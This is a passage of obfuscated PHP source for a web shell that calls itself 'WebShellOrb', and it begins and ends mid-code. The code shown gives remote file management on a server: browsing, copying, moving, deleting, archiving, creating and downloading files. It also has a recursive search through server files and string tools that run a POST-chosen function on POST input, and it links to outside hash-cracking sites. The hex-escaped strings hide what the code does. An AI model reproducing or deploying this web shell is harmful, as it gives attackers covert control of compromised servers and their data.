S"}["ec\\x62cm\\x69\\x79\\x62\\x75\\x65"]},array("\\x74y\\x70e"=>"\\x64\\x69\\x72"));}$GLOBALS["\\x73\\x6frt"]=${${"G\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x77x\\x66\\x6c\\x72\\x6b\\x67\\x68g"]};function WebShellOrbCmp($a,$b){$wvhrpin="\\x62";$cemcmlklowtc="a";if($GLOBALS["so\\x72\\x74"][0]!="\\x73ize")return strcmp(strtolower(${${"\\x47L\\x4fB\\x41L\\x53"}["\\x63\\x78\\x66\\x62\\x79\\x66\\x78\\x61\\x6a\\x74"]}[$GLOBALS["\\x73or\\x74"][0]]),strtolower(${$wvhrpin}[$GLOBALS["sort"][0]]))*($GLOBALS["\\x73ort"][1]?1:-1);else return((${$cemcmlklowtc}["s\\x69\\x7ae"]<${${"\\x47L\\x4fBA\\x4c\\x53"}["sl\\x7a\\x62\\x75\\x67\\x64\\x73"]}["\\x73\\x69\\x7ae"])?-1:1)*($GLOBALS["sort"][1]?1:-1);}usort(${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["y\\x6c\\x75x\\x65c\\x6c\\x6c"]},"WebS\\x68\\x65\\x6cl\\x4fr\\x62\\x43\\x6dp");usort(${${"G\\x4cOB\\x41LS"}["\\x78\\x7ao\\x63\\x71\\x72o\\x65s\\x74\\x73p"]},"We\\x62\\x53\\x68el\\x6c\\x4f\\x72\\x62C\\x6dp");$fjurgbvuldau="f\\x69\\x6c\\x65\\x73";${${"G\\x4cO\\x42A\\x4c\\x53"}["y\\x6cu\\x78\\x65c\\x6c\\x6c"]}=array_merge(${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["x\\x7ao\\x63\\x71ro\\x65\\x73\\x74\\x73\\x70"]},${${"\\x47\\x4cO\\x42AL\\x53"}["\\x75\\x72s\\x6cv\\x76\\x65\\x76\\x63\\x79\\x64"]});${${"\\x47L\\x4fBA\\x4c\\x53"}["ga\\x79\\x61\\x69\\x6f"]}=0;foreach(${$fjurgbvuldau} as${${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["s\\x62erlg"]}){$dwvibzt="f";$etnrnpxldmn="\\x66";${"GLO\\x42A\\x4c\\x53"}["c\\x63f\\x76\\x71\\x69\\x68\\x71\\x6ail"]="f";${"\\x47\\x4c\\x4fB\\x41L\\x53"}["\\x73zf\\x69\\x66\\x79\\x66"]="\\x66";$ftzjqt="f";$gnoadugbfdu="\\x66";$djskevnnm="\\x66";$mhjrxxhgopd="\\x66";$lbmonmg="f";${"\\x47\\x4c\\x4fBAL\\x53"}["\\x7a\\x70\\x70m\\x69g\\x6dv\\x71hk"]="\\x66";$kjkiswjllpu="f";$oxvhme="f";${"\\x47\\x4c\\x4f\\x42AL\\x53"}["\\x63p\\x74\\x69cd"]="f";${"GL\\x4f\\x42AL\\x53"}["h\\x74\\x68oi\\x66\\x79fk\\x6c"]="\\x6c";echo"\\x3c\\x74r".(${${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x68t\\x68o\\x69f\\x79f\\x6bl"]}?" c\\x6c\\x61\\x73s\\x3d\\x6c1":"")."><\\x74d><\\x69npu\\x74 \\x74y\\x70e\\x3dche\\x63\\x6b\\x62\\x6f\\x78 \\x6ea\\x6de\\x3d\\x22f[]\\x22\\x20v\\x61\\x6c\\x75\\x65\\x3d\\x22".urlencode(${${"G\\x4cO\\x42\\x41\\x4c\\x53"}["\\x73\\x62\\x65\\x72\\x6cg"]}["\\x6e\\x61m\\x65"])."\\x22\\x20c\\x6ca\\x73\\x73\\x3d\\x63hk\\x62x\\x3e")."".((${${"\\x47\\x4c\\x4fBALS"}["\\x73be\\x72\\x6cg"]}["t\\x79\\x70\\x65"]=="file")?WebShellOrbViewSize(${$dwvibzt}["\\x73\\x69ze"]):${$mhjrxxhgopd}["\\x74yp\\x65"])."<\\x74d\\x3e".${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x7ap\\x70mi\\x67\\x6d\\x76\\x71h\\x6b"]}["\\x6f\\x77n\\x65r"]."/".${$djskevnnm}["\\x67\\x72\\x6f\\x75\\x70"]."\\x3c/td\\x3e\\x3c\\x74d\\x3e".${$ftzjqt}["\\x70erms"]."<\\x61 h\\x72\\x65f\\x3d\\x22#\\"\\x20\\x6fnc\\x6c\\x69c\\x6b\\x3d\\"\\x67(\'\\x46i\\x6ces\\x54\\x6f\\x6f\\x6cs\',\\x6e\\x75\\x6cl,\'".urlencode(${$gnoadugbfdu}["\\x6e\\x61me"])."\\x27, \\x27r\\x65\\x6ea\\x6de\\x27)\\"\\x3eR\\x3c/\\x61\\x3e E \\x3c\\x61 \\x68r\\x65f=\\"#\\" \\x6fncl\\x69\\x63k\\x3d\\"g(\\x27F\\x69\\x6c\\x65\\x73T\\x6fo\\x6c\\x73\\x27,\\x6e\\x75ll,\\x27".urlencode(${$oxvhme}["n\\x61\\x6de"])."\\x27,\\x20\\x27\\x64o\\x77\\x6el\\x6fad\\x27)\\x22>\\x44\\x3c/a>":"")."\\x3c/tr>";${${"G\\x4c\\x4f\\x42AL\\x53"}["g\\x61\\x79\\x61i\\x6f"]}=${${"\\x47L\\x4f\\x42\\x41LS"}["\\x67ay\\x61\\x69\\x6f"]}?0:1;}echo"\\x3ct\\x72><\\x74d c\\x6f\\x6csp\\x61\\x6e\\x3d\\x37>\\n\\t\\x3c\\x69nput \\x74\\x79\\x70\\x65=\\x68\\x69dde\\x6e\\x20n\\x61\\x6d\\x65=a\\x20\\x76alue=\\x27\\x46\\x69le\\x73\\x4dan\'>\\n\\t\\n\\t\\x3cin\\x70\\x75\\x74 t\\x79p\\x65\\x3dhidd\\x65\\x6e n\\x61\\x6de=\\x63hars\\x65t \\x76\\x61\\x6cue=\\x27".(isset($_POST["\\x63ha\\x72s\\x65\\x74"])?$_POST["\\x63\\x68\\x61\\x72\\x73\\x65\\x74"]:"")."\'>\\n\\t\\x3c\\x73\\x65lect n\\x61\\x6de=\\x27\\x701\'>\\x3cop\\x74i\\x6f\\x6e v\\x61lu\\x65=\\x27\\x63\\x6f\\x70\\x79\'\\x3eCopy\\x3coption\\x20\\x76al\\x75e\\x3d\\x27mo\\x76\\x65\'>Mo\\x76\\x65\\x3c/\\x6fp\\x74\\x69on\\x3e<\\x6fptio\\x6e \\x76alu\\x65\\x3d\'\\x64\\x65le\\x74\\x65\\x27>\\x44e\\x6c\\x65\\x74\\x65Un\\x63\\x6fmp\\x72e\\x73\\x73 (u\\x6ezi\\x70)";echo"\\x3coptio\\x6e val\\x75\\x65\\x3d\'t\\x61\\x72\\x27>\\x43om\\x70re\\x73s\\x20(ta\\x72\\x2egz)";if(!empty($_COOKIE["ac\\x74"])&&@count($_COOKIE["\\x66"]))echo"\\x3c\\x6f\\x70ti\\x6fn\\x20va\\x6cu\\x65=\'\\x70as\\x74e\'\\x3e\\x50a\\x73\\x74\\x65 /\\x20\\x43ompr\\x65s\\x73\\x3c/op\\x74io\\x6e>";echo"\\x26\\x6ebsp;";if(!empty($_COOKIE["a\\x63t"])&&@count($_COOKIE["\\x66"])&&(($_COOKIE["a\\x63\\x74"]=="zip")||($_COOKIE["ac\\x74"]=="t\\x61\\x72")))echo"\\x66\\x69l\\x65\\x20n\\x61m\\x65:\\x20<\\x69n\\x70ut \\x74\\x79\\x70e=\\x74ext n\\x61me=\\x702\\x20va\\x6c\\x75e\\x3d\'W\\x65\\x62\\x53\\x68ellOrb\\x5f".date("Y\\x6d\\x64\\x5fH\\x69s")."\\x2e".($_COOKIE["\\x61\\x63t"]=="z\\x69\\x70"?"\\x7aip":"\\x74\\x61\\x72\\x2eg\\x7a")."\'>&n\\x62\\x73p\\x3b";echo"\\x3cin\\x70\\x75t\\x20\\x74y\\x70e=\'\\x73\\x75\\x62mit\' va\\x6cu\\x65\\x3d\\x27>>\\x27\\x3e";WebShellOrbFooter();}function actionStringTools(){if(!function_exists("h\\x65\\x782bi\\x6e")){function hex2bin($p){return decbin(hexdec(${${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x76\\x77hn\\x6d\\x76\\x62zm\\x75q\\x64"]}));}}if(!function_exists("\\x62\\x69\\x6eh\\x65\\x78")){function binhex($p){return dechex(bindec(${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x76\\x77\\x68\\x6em\\x76\\x62z\\x6d\\x75\\x71d"]}));}}if(!function_exists("hex\\x32\\x61\\x73\\x63i\\x69")){function hex2ascii($p){$uypcormetl="r";${"\\x47LO\\x42A\\x4c\\x53"}["\\x6f\\x78\\x68k\\x65ml\\x70"]="i";${"GL\\x4fB\\x41\\x4c\\x53"}["v\\x66\\x68\\x79\\x71q\\x62k\\x64\\x70"]="i";${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x63\\x66\\x73\\x62a\\x74\\x7a\\x70"]="\\x72";${$uypcormetl}="";$wfjslxaohfdq="\\x69";for(${${"G\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x76\\x66\\x68\\x79qq\\x62k\\x64p"]}=0;${${"GLO\\x42\\x41LS"}["o\\x78h\\x6b\\x65\\x6dl\\x70"]}"b\\x61\\x73e\\x36\\x34_\\x65n\\x63\\x6f\\x64\\x65","Ba\\x73e64 d\\x65\\x63\\x6f\\x64e"=>"bas\\x6564_\\x64\\x65\\x63\\x6f\\x64\\x65","\\x55\\x72\\x6c en\\x63\\x6fd\\x65"=>"\\x75rl\\x65n\\x63\\x6f\\x64\\x65","U\\x72\\x6c \\x64e\\x63\\x6fde"=>"\\x75rl\\x64e\\x63o\\x64e","\\x46\\x75ll\\x20url\\x65nc\\x6fd\\x65"=>"\\x66u\\x6c\\x6c_\\x75\\x72le\\x6ec\\x6fd\\x65","\\x6dd5\\x20\\x68\\x61\\x73h"=>"md\\x35","s\\x68\\x611\\x20h\\x61s\\x68"=>"\\x73h\\x61\\x31","cr\\x79p\\x74"=>"c\\x72ypt","\\x43RC\\x33\\x32"=>"\\x63r\\x633\\x32","AS\\x43\\x49I\\x20to\\x20HEX"=>"\\x61\\x73\\x63i\\x692\\x68e\\x78","HE\\x58\\x20\\x74o \\x41\\x53C\\x49\\x49"=>"\\x68ex\\x32asci\\x69","HE\\x58\\x20\\x74o DE\\x43"=>"\\x68ex\\x64\\x65\\x63","HEX\\x20to\\x20BI\\x4e"=>"he\\x78\\x32\\x62\\x69n","DEC\\x20to HE\\x58"=>"\\x64e\\x63he\\x78","D\\x45C\\x20\\x74o B\\x49N"=>"\\x64\\x65\\x63\\x62\\x69n","B\\x49N to\\x20\\x48EX"=>"\\x62\\x69nh\\x65x","\\x42IN\\x20\\x74\\x6f D\\x45C"=>"bin\\x64e\\x63","\\x53\\x74r\\x69n\\x67 \\x74o\\x20l\\x6fw\\x65r\\x20c\\x61\\x73e"=>"\\x73\\x74r\\x74o\\x6c\\x6fw\\x65\\x72","Strin\\x67\\x20to\\x20upper\\x20\\x63ase"=>"\\x73t\\x72tou\\x70per","H\\x74m\\x6cs\\x70ecial\\x63h\\x61r\\x73"=>"html\\x73\\x70\\x65ci\\x61lch\\x61\\x72\\x73","S\\x74\\x72i\\x6eg\\x20l\\x65\\x6egt\\x68"=>"\\x73trl\\x65\\x6e",);if(isset($_POST["\\x61\\x6a\\x61x"])){WebShellOrbsetcookie(md5($_SERVER["HT\\x54P\\x5fH\\x4f\\x53\\x54"])."a\\x6aax",true);${"G\\x4cOB\\x41\\x4c\\x53"}["\\x6b\\x73\\x6fvo\\x76\\x68o\\x62y"]="\\x74\\x65\\x6d\\x70";ob_start();if(in_array($_POST["p1"],${${"\\x47L\\x4f\\x42ALS"}["\\x64\\x79\\x76t\\x68et"]}))echo$_POST["\\x70\\x31"]($_POST["p\\x32"]);${${"G\\x4cO\\x42A\\x4c\\x53"}["k\\x73\\x6fvov\\x68\\x6f\\x62\\x79"]}="doc\\x75m\\x65n\\x74\\x2e\\x67\\x65\\x74E\\x6ce\\x6den\\x74B\\x79\\x49d(\\x27st\\x72\\x4fu\\x74p\\x75t\\x27)\\x2e\\x73t\\x79l\\x65.\\x64\\x69spla\\x79=\\x27\\x27\\x3b\\x64\\x6f\\x63u\\x6d\\x65nt\\x2ege\\x74\\x45\\x6c\\x65\\x6d\\x65\\x6e\\x74\\x42\\x79\\x49\\x64(\'s\\x74\\x72Ou\\x74\\x70u\\x74\')\\x2ei\\x6ene\\x72H\\x54M\\x4c=\\x27".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\\x27\\0")."\'\\x3b\\n";echo strlen(${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x6d\\x65\\x72\\x63\\x67\\x6d\\x64\\x77\\x65"]}),"\\n",${${"G\\x4cO\\x42\\x41\\x4cS"}["\\x6d\\x65r\\x63\\x67m\\x64w\\x65"]};exit;}if(empty($_POST["\\x61j\\x61\\x78"])&&!empty($_POST["p1"]))WebShellOrbsetcookie(md5($_SERVER["\\x48\\x54TP_HOS\\x54"])."aj\\x61x",0);WebShellOrbHeader();echo"";foreach(${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x64yv\\x74\\x68\\x65\\x74"]} as${$yiuajyicz}=>${${"GL\\x4fB\\x41L\\x53"}["\\x76v\\x64\\x78mj\\x62\\x67\\x65c"]})echo"<\\x6fp\\x74\\x69\\x6fn\\x20v\\x61l\\x75\\x65=\'".htmlspecialchars(${${"GLOB\\x41L\\x53"}["v\\x76d\\x78\\x6d\\x6a\\x62g\\x65c"]})."\\x27>".${${"G\\x4c\\x4fB\\x41LS"}["\\x6fq\\x76r\\x79\\x78\\x65"]}."";echo"\\x27/>\\x20<\\x69\\x6e\\x70\\x75t\\x20\\x74\\x79\\x70e\\x3d\\x63\\x68\\x65\\x63\\x6b\\x62\\x6f\\x78\\x20\\x6e\\x61\\x6d\\x65=ajax\\x20va\\x6cue\\x3d1 ".(@$_COOKIE[md5($_SERVER["\\x48TT\\x50_HOS\\x54"])."\\x61ja\\x78"]?"\\x63\\x68e\\x63k\\x65\\x64":"").">\\x20\\x73e\\x6ed\\x20\\x75s\\x69\\x6e\\x67 AJ\\x41\\x58\\x3cb\\x72>\\x3c\\x74e\\x78tar\\x65a\\x20name=\\x27\\x69n\\x70ut\\x27\\x20\\x73tyle\\x3d\\x27\\x6d\\x61\\x72\\x67i\\x6e-\\x74op:\\x35\\x70x\'\\x20c\\x6ca\\x73s=b\\x69\\x67ar\\x65\\x61>".(empty($_POST["\\x701"])?"":htmlspecialchars(@$_POST["p\\x32"]))."\\x3c/\\x74\\x65\\x78\\x74\\x61\\x72\\x65\\x61>\\x3c/form><\\x70re\\x20c\\x6ca\\x73\\x73=\\x27m\\x6c1\\x27 st\\x79\\x6ce=\'".(empty($_POST["p\\x31"])?"\\x64\\x69spla\\x79:\\x6e\\x6f\\x6ee\\x3b":"")."\\x6d\\x61rgi\\x6e-t\\x6f\\x70:\\x35px\' i\\x64\\x3d\'\\x73\\x74r\\x4f\\x75t\\x70u\\x74\'>";if(!empty($_POST["\\x70\\x31"])){${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x69o\\x74\\x71\\x72\\x62rxn\\x64\\x78"]="\\x73\\x74r\\x69\\x6e\\x67\\x54\\x6f\\x6f\\x6cs";if(in_array($_POST["\\x701"],${${"\\x47\\x4c\\x4f\\x42ALS"}["\\x69ot\\x71\\x72b\\x72\\x78\\x6e\\x64x"]}))echo htmlspecialchars($_POST["\\x701"]($_POST["p2"]));}echo"\\x3c/p\\x72e\\x3e\\x3cbr>\\x3ch\\x31>\\x53\\x65a\\x72ch \\x66\\x69\\x6ce\\x73:\\x3c/h1\\x3e\\x3c\\x64i\\x76\\x20\\x63l\\x61ss\\x3dconte\\x6e\\x74>\\n\\t\\t\\x3cf\\x6fr\\x6d ons\\x75\\x62\\x6d\\x69\\x74\\x3d\\"g(\\x6e\\x75l\\x6c,\\x74\\x68i\\x73\\x2e\\x63w\\x64.\\x76\\x61l\\x75e,n\\x75\\x6c\\x6c,t\\x68is.\\x74\\x65x\\x74\\x2eva\\x6c\\x75\\x65,\\x74\\x68i\\x73\\x2e\\x66\\x69\\x6ce\\x6e\\x61\\x6de.va\\x6cue)\\x3bretur\\x6e f\\x61\\x6cs\\x65\\x3b\\x22><\\x74a\\x62le\\x20\\x63ellpa\\x64d\\x69\\x6eg=\\x27\\x31\\x27 \\x63e\\x6cl\\x73paci\\x6e\\x67\\x3d\\x270\'\\x20\\x77idth\\x3d\'\\x350%\'>\\n\\t\\t\\t\\x3c\\x74r\\x3eTe\\x78t:\\x3c/\\x74d>\\x3c\\x74d>\\x3ci\\x6eput ty\\x70\\x65\\x3d\\x27tex\\x74\' \\x6e\\x61\\x6de\\x3d\\x27\\x74e\\x78t\'\\x20s\\x74y\\x6ce\\x3d\'\\x77id\\x74\\x68:1\\x30\\x30\\x25\'>\\x3c/\\x74d>\\n\\t\\t\\t<\\x74r><\\x74d\\x3e\\x50at\\x68:\\x3c/t\\x64><\\x74d\\x3e<\\x69n\\x70ut \\x74ype=\\x27t\\x65x\\x74\\x27 \\x6ea\\x6d\\x65\\x3d\'c\\x77\\x64\\x27\\x20v\\x61\\x6cu\\x65\\x3d\'".htmlspecialchars($GLOBALS["\\x63\\x77\\x64"])."\\x27\\x20\\x73t\\x79l\\x65=\'wi\\x64\\x74\\x68:\\x3100%\\x27>\\x3c/\\x74d>\\x3c/t\\x72\\x3e\\n\\t\\t\\t\\x3c\\x74\\x64\\x3eN\\x61m\\x65:\\x3c/\\x74\\x64\\x3e\\x3ci\\x6e\\x70\\x75t\\x20ty\\x70\\x65=\'te\\x78\\x74\\x27 nam\\x65=\\x27fi\\x6c\\x65n\\x61m\\x65\'\\x20\\x76\\x61\\x6cue=\\x27*\\x27 \\x73\\x74y\\x6c\\x65\\x3d\\x27\\x77id\\x74\\x68:\\x31\\x30\\x30%\\x27\\x3e\\x3c/td\\x3e\\n\\t\\t\\t\\x3c\\x74\\x72><\\x74\\x64>>\\x27>\\x3c/\\x74d\\x3e\\n\\t\\t\\t\\x3c/\\x74a\\x62\\x6ce>\\x3c/fo\\x72\\x6d\\x3e";function WebShellOrbRecursiveGlob($path){$nwlnoptyz="\\x70\\x61t\\x68";${"G\\x4cO\\x42\\x41L\\x53"}["\\x68\\x67\\x6f\\x67\\x6ark\\x7a\\x70\\x71\\x68\\x67"]="pa\\x74\\x68";$tucxriw="\\x70a\\x74\\x68";$wdohupkfrto="\\x70\\x61ths";$ethxrtpluwhs="p\\x61t\\x68\\x73";if(substr(${${"\\x47\\x4cOB\\x41\\x4c\\x53"}["\\x66\\x66sw\\x6c\\x68ab"]},-1)!="/")${$tucxriw}.="/";${$wdohupkfrto}=@array_unique(@array_merge(@glob(${${"G\\x4cO\\x42\\x41\\x4cS"}["\\x68g\\x6fg\\x6a\\x72k\\x7apq\\x68g"]}.$_POST["p\\x33"]),@glob(${$nwlnoptyz}."*",GLOB_ONLYDIR)));if(is_array(${${"\\x47LO\\x42A\\x4cS"}["\\x67ig\\x73mq\\x79ow\\x62"]})&&@count(${$ethxrtpluwhs})){${"\\x47\\x4c\\x4fBA\\x4cS"}["\\x75\\x70\\x69\\x63r\\x65\\x71k\\x61\\x64"]="\\x70\\x61\\x74\\x68\\x73";foreach(${${"G\\x4cO\\x42\\x41\\x4c\\x53"}["u\\x70\\x69\\x63r\\x65\\x71k\\x61\\x64"]} as${${"\\x47\\x4c\\x4f\\x42AL\\x53"}["\\x62\\x64mq\\x77q\\x76f\\x71n"]}){$qbvtxmhfia="i\\x74em";if(@is_dir(${$qbvtxmhfia})){${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["c\\x65\\x77\\x69i\\x74\\x76"]="\\x69t\\x65\\x6d";if(${${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x66\\x66\\x73\\x77\\x6c\\x68a\\x62"]}!=${${"G\\x4cOBAL\\x53"}["c\\x65wi\\x69\\x74\\x76"]})WebShellOrbRecursiveGlob(${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["bd\\x6dq\\x77\\x71\\x76\\x66q\\x6e"]});}else{${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["\\x6c\\x78dqqw"]="i\\x74e\\x6d";if(empty($_POST["p\\x32"])||@strpos(file_get_contents(${${"GL\\x4fB\\x41\\x4cS"}["\\x6cx\\x64\\x71\\x71\\x77"]}),$_POST["\\x702"])!==false)echo"\\x3c\\x61 \\x68\\x72ef=\\x27\\x23\' \\x6f\\x6ecl\\x69ck\\x3d\'\\x67(\\"\\x46il\\x65s\\x54o\\x6f\\x6cs\\",n\\x75\\x6cl,\\"".urlencode(${${"GL\\x4f\\x42\\x41\\x4c\\x53"}["\\x62\\x64\\x6d\\x71wq\\x76\\x66q\\x6e"]})."\\",\\x20\\x22v\\x69e\\x77\\x22,\\x22\\x22)\'\\x3e".htmlspecialchars(${${"\\x47\\x4cO\\x42\\x41\\x4cS"}["bdm\\x71\\x77\\x71v\\x66q\\x6e"]})."\\x3c/a\\x3e
";}}}}if(@$_POST["\\x70\\x33"])WebShellOrbRecursiveGlob($_POST["c"]);echo"\\x53\\x65\\x61\\x72\\x63\\x68 \\x66or\\x20\\x68ash:\\x3c/h\\x31\\x3e\\n\\t\\t\\x3cf\\x6f\\x72\\x6d \\x6de\\x74hod=\\x27\\x70\\x6f\\x73t\'\\x20\\x74ar\\x67\\x65\\x74\\x3d\\x27_blank\'\\x20name\\x3d\\x27hf\\x27\\x3e\\n\\t\\t\\t\\x3cinpu\\x74\\x20\\x74\\x79pe=\'\\x74\\x65xt\\x27\\x20n\\x61me=\\x27ha\\x73h\\x27\\x20st\\x79\\x6c\\x65=\\x27w\\x69\\x64\\x74h:\\x32\\x300\\x70\\x78\\x3b\\x27\\x3e\\n\\t\\t\\t\\x3ci\\x6e\\x70\\x75\\x74 ty\\x70e=\\x27\\x62utto\\x6e\\x27\\x20val\\x75\\x65\\x3d\'\\x68\\x61\\x73h\\x63\\x72ac\\x6bing.\\x72u\'\\x20\\x6fn\\x63\\x6c\\x69\\x63\\x6b=\\"\\x64ocume\\x6e\\x74.hf\\x2ea\\x63ti\\x6fn\\x3d\'\\x68\\x74\\x74p\\x73://h\\x61\\x73\\x68\\x63\\x72acking\\x2eru/\\x69\\x6ed\\x65x.php\\x27;\\x64\\x6f\\x63ume\\x6e\\x74\\x2e\\x68\\x66.\\x73\\x75\\x62\\x6di\\x74()\\x22\\x3e\\n\\t\\t\\t\\x3c\\x69\\x6epu\\x74\\x20t\\x79pe=\\x27b\\x75tto\\x6e\\x27 v\\x61\\x6cu\\x65=\\x27\\x6dd5.\\x72\\x65d\\x6e\\x6fi\\x7ae.\\x63om\\x27\\x20\\x6fncl\\x69\\x63\\x6b\\x3d\\x22\\x64\\x6f\\x63ume\\x6et.\\x68\\x66.a\\x63\\x74io\\x6e=\\x27h\\x74tp://\\x6dd\\x35.r\\x65d\\x6eoi\\x7a\\x65.\\x63\\x6fm/?q=\'+doc\\x75ment.\\x68f.h\\x61sh\\x2ev\\x61l\\x75\\x65+\'\\x26s=\\x6dd5\';\\x64o\\x63\\x75me\\x6et.h\\x66\\x2e\\x73\\x75\\x62mi\\x74()\\">\\x3c\\x62r>\\n \\x20 \\x20 \\x20\\x3ci\\x6e\\x70ut t\\x79\\x70e\\x3d\\x27bu\\x74t\\x6fn\' \\x76\\x61\\x6cue\\x3d\'crac\\x6b\\x66\\x6fr\\x2e\\x6de\'\\x20\\x6fn\\x63li\\x63k=\\x22d\\x6f\\x63\\x75m\\x65nt.hf\\x2e\\x61c\\x74i\\x6fn\\x3d\\x27\\x68\\x74t\\x70://\\x63\\x72ac\\x6bf\\x6fr.\\x6d\\x65/\\x69nd\\x65x.ph\\x70\';\\x64\\x6fc\\x75m\\x65\\x6e\\x74\\x2e\\x68f\\x2e\\x73u\\x62m\\x69\\x74()\\">\\x3cbr>\\n\\t\\t\\x3c/\\x66or\\x6d\\x3e\\x3c/d\\x69v\\x3e";WebShellOrbFooter();}function actionFilesTools(){${"\\x47\\x4c\\x4f\\x42AL\\x53"}["\\x63\\x79\\x65\\x65\\x64\\x69\\x6d\\x64\\x6bb\\x6d"]="\\x75id";$sfgrxg="v";${"\\x47\\x4cO\\x42ALS"}["w\\x66\\x61lb\\x6d\\x77"]="\\x6d";if(isset($_POST["p\\x31"]))$_POST["p\\x31"]=urldecode($_POST["p\\x31"]);${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["yh\\x6fc\\x65\\x65"]="\\x69";$ixhzma="\\x6c\\x65\\x6e";${"\\x47L\\x4f\\x42\\x41L\\x53"}["\\x6d\\x73l\\x73\\x68ih\\x69"]="v";if(@$_POST["\\x70\\x32"]=="do\\x77nl\\x6fad"){if(@is_file($_POST["p1"])&&@is_readable($_POST["p1"])){ob_start("o\\x62\\x5f\\x67zha\\x6ed\\x6ce\\x72",4096);header("Con\\x74\\x65\\x6e\\x74-\\x44i\\x73p\\x6fsi\\x74ion: \\x61tt\\x61ch\\x6d\\x65\\x6et\\x3b\\x20fil\\x65na\\x6d\\x65=".basename($_POST["\\x701"]));if(function_exists("mi\\x6de\\x5f\\x63\\x6fnten\\x74_\\x74\\x79\\x70\\x65")){${${"\\x47\\x4cO\\x42\\x41\\x4cS"}["\\x76x\\x68\\x64\\x6f\\x69h\\x71\\x6c\\x6bd"]}=@mime_content_type($_POST["p1"]);header("Co\\x6et\\x65nt-\\x54\\x79p\\x65: ".${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x76xh\\x64\\x6f\\x69\\x68\\x71\\x6c\\x6b\\x64"]});}else header("\\x43on\\x74e\\x6et-\\x54y\\x70e:\\x20\\x61\\x70p\\x6c\\x69\\x63a\\x74\\x69\\x6fn/o\\x63tet-str\\x65\\x61m");${${"\\x47L\\x4fBA\\x4c\\x53"}["\\x74\\x62\\x72\\x68\\x71\\x62\\x69"]}=@fopen($_POST["\\x701"],"\\x72");if(${${"G\\x4cOB\\x41\\x4c\\x53"}["\\x74\\x62r\\x68q\\x62\\x69"]}){${"\\x47L\\x4fBAL\\x53"}["\\x66\\x69q\\x65\\x6ei\\x68p\\x6d\\x6f"]="\\x66p";${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["f\\x6bmsx\\x76\\x66"]="f\\x70";while(!@feof(${${"\\x47\\x4cOBA\\x4c\\x53"}["f\\x69qen\\x69h\\x70m\\x6f"]}))echo@fread(${${"GLO\\x42\\x41L\\x53"}["\\x74b\\x72\\x68\\x71\\x62\\x69"]},1024);fclose(${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["f\\x6b\\x6ds\\x78\\x76\\x66"]});}}exit;}${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["f\\x63\\x6d\\x6c\\x63\\x70\\x6d"]="v";if(@$_POST["p\\x32"]=="mk\\x66ile"){if(!file_exists($_POST["p1"])){$yacaqadof="\\x66p";${${"\\x47\\x4cOB\\x41LS"}["\\x74\\x62rh\\x71\\x62\\x69"]}=@fopen($_POST["p1"],"\\x77");if(${$yacaqadof}){${"G\\x4cOB\\x41\\x4c\\x53"}["\\x6e\\x64\\x74xa\\x75\\x6a"]="fp";$_POST["p\\x32"]="\\x65dit";fclose(${${"\\x47\\x4cOBA\\x4c\\x53"}["nd\\x74\\x78a\\x75\\x6a"]});}}}WebShellOrbHeader();${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["g\\x6e\\x6c\\x63u\\x72\\x71o"]="g\\x69d";echo"<\\x681>\\x46\\x69l\\x65\\x20\\x74oo\\x6cs\\x3c/h1\\x3e\\x3c\\x64iv\\x20class=\\x63\\x6fntent\\x3e";if(!file_exists(@$_POST["p1"])){echo"\\x46\\x69le\\x20no\\x74 \\x65xis\\x74\\x73";WebShellOrbFooter();return;}${${"GL\\x4fB\\x41\\x4c\\x53"}["c\\x79\\x65e\\x64\\x69m\\x64kb\\x6d"]}=@posix_getpwuid(@fileowner($_POST["p1"]));${"G\\x4cOB\\x41LS"}["zo\\x65\\x7a\\x69\\x73\\x68\\x73"]="c";$vuqevyb="\\x69";$xieybe="h";if(!${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x67\\x6b\\x6a\\x79r\\x7a\\x78\\x6eg"]}){$krhueyipvqu="\\x67\\x69d";${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["gk\\x6ayr\\x7a\\x78\\x6eg"]}["\\x6e\\x61\\x6d\\x65"]=@fileowner($_POST["\\x701"]);${$krhueyipvqu}["name"]=@filegroup($_POST["p\\x31"]);}else${${"GLOB\\x41\\x4cS"}["\\x65\\x6c\\x6b\\x79\\x78m\\x69\\x79\\x75"]}=@posix_getgrgid(@filegroup($_POST["\\x70\\x31"]));${"\\x47\\x4cO\\x42A\\x4cS"}["\\x78\\x61\\x67\\x6b\\x69\\x75\\x6d\\x69\\x7a\\x62\\x6d"]="n";${"GL\\x4fB\\x41\\x4c\\x53"}["\\x64\\x6c\\x68dsyobu\\x74\\x64\\x79"]="f\\x70";echo"<\\x73pa\\x6e\\x3e\\x4ea\\x6de: ".htmlspecialchars(@basename($_POST["\\x701"]))." \\x3c\\x73p\\x61\\x6e>\\x53\\x69ze:\\x20".(is_file($_POST["p\\x31"])?WebShellOrbViewSize(filesize($_POST["\\x70\\x31"])):"-")."\\x20Per\\x6d\\x69s\\x73\\x69\\x6f\\x6e:\\x3c/\\x73p\\x61n> 